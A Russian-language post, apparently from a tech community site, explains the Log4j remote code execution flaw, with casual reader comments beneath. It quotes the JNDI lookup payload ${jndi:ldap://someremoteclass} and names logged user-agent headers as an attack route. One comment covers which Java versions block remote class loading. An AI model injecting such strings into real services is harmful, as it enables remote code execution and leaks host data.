Казалось бы, ну какая дыра в безопасности может быть у логирующей библиотеки?

А вот Log4j смог.

Обычно от логировщика требуется одно: получить строку и отправить в точку назначения в соответствии с предоставленными конфигурациями. Но Log4j проверяет входные данные и резолвит их.

Как пример, на Хакерньюз приводят такое:

Logging from ${java:vm} // на выходе будет Logging from Oracle JVM

Если как аргумент скормить что-то такое:

${jndi:ldap://someremoteclass}

то с удалённого сервака можно подгрузить класс и динамически исполнить вредоносный код.

Как пример уязвимости — http сервак, который логирует строку, скажем, user agent.

4444
24 комментария

Я нихуя не понял

8
Ответить

Это говорит о том, что у меня пока здоровая психика?

11
Ответить

А ты чего обратно в джаву то полез?

2
Ответить

Просто новость. В джаву не полезу больше, спасибо.

13
Ответить

У нас уже потерли :)

2
Ответить

я хз кто напрямую юзает сейчас Log4j, легаси какое-то

Ответить

Так jog4j2 как раз таки активно сейчас используют, речь не о первой версии, которая да уже легаси, но опять же местами используется.
Ну и кстати еще как я понял есть ограничение - полноценно эксплойт можно заюзать только если все крутится на яве версии ниже 1.8.121 (ява 8, билд 121), т.к. в версиях выше по дефолту выставлен запрет на выполнение сторонних классов, если только адрес к ним не находится явно в списке разрешенных. Так что на версиях выше по сути максимум можно узнать к примеру IP устройства (и еще какие нибудь данные) на котором в итоге выполнилась логгером строка с адресом к классу и произошло обращение на этот адрес, ну а сам класс выполняться уже не будет.

Ответить